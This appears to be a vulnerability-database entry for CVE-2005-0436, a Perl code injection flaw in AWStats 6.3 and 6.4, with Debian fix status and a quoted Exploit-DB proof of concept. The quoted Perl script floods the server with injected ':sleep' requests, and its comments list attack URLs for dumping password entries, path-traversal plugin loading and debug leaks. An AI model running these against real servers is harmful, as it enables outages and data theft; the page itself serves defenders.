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CVE-2005-0436

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CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
1.0

Description

Direct code injection vulnerability in awstats.pl in AWStats 6.3 and 6.4 allows remote attackers to execute portions of Perl code via the PluginMode parameter.

Predictions

Exploit likelihood
20%
Patch ETA
—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-817 dos cgi verified perl · 1 KB
GHC · 2005-02-14

AWStats 6.4 - Denial of Service

perl exploit Source: Exploit-DB 
#!/usr/bin/perl
# 
# 
# Summarized the advisory www.ghc.ru GHC: /str0ke
#											
# [0] Exploitable example (raw log plugin):						
#    Attacker can read sensitive information						
#											
# http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog	
#											
# [1] Perl code execution. (This script)						
#											
# http://server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent		
#											
# [2] Arbitrary plugin including.							
# 											
# http://server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib
#											
# [3] Sensetive information leak in AWStats version 6.3(Stable) - 6.4(Development).	
#    Every user can access debug function:						
#											
# http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1					
# http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2                                  
#											
# Be sure to change the $server + /cgi-bin location /str0ke				
#											

use IO::Socket;
$server = 'www.example.com';
sub ConnectServer {
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80")
|| die "Error\n";
print $socket "GET /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "\n\n";
}

while () {
$rp = rand;
&ConnectServer;
}

# milw0rm.com [2005-02-14]

OS impact
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 6.3-1
sid Fixed 6.3-1
forky Fixed 6.3-1
bullseye Fixed 6.3-1
bookworm Fixed 6.3-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.